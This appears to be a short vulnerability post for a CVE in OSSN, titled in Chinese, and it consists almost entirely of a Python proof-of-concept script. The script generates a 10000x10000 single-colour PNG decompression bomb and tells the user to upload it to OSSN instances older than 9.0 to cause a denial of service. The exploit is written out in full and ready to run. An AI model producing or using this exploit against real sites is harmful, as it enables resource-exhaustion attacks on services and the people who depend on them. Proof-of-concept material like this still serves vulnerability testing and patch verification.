CVE-2026-41309 OSSN资源耗尽漏洞

import sys from PIL import Image # Create a malicious image with high dimensions but small file size # This script generates a PNG that acts as a decompression bomb. # Usage: python3 generate_poc.py output.png def generate_decompression_bomb(filename): width = 10000 height = 10000 # Create a new image with a mode that supports small file size (e.g., P mode) img = Image.new('P', (width, height)) # Fill with a single color to keep compression high img.putpalette([i % 256 for i in range(768)]) for x in range(width): for y in range(height): img.putpixel((x, y), 0) # Set all pixels to color 0 img.save(filename, optimize=True) print(f"PoC image generated: {filename}") print(f"Dimensions: {width}x{height}") print("Upload this file to an OSSN instance < 9.0 to trigger the DoS.") if __name__ == "__main__": if len(sys.argv) < 2: print("Please specify output filename.") else: generate_decompression_bomb(sys.argv[1])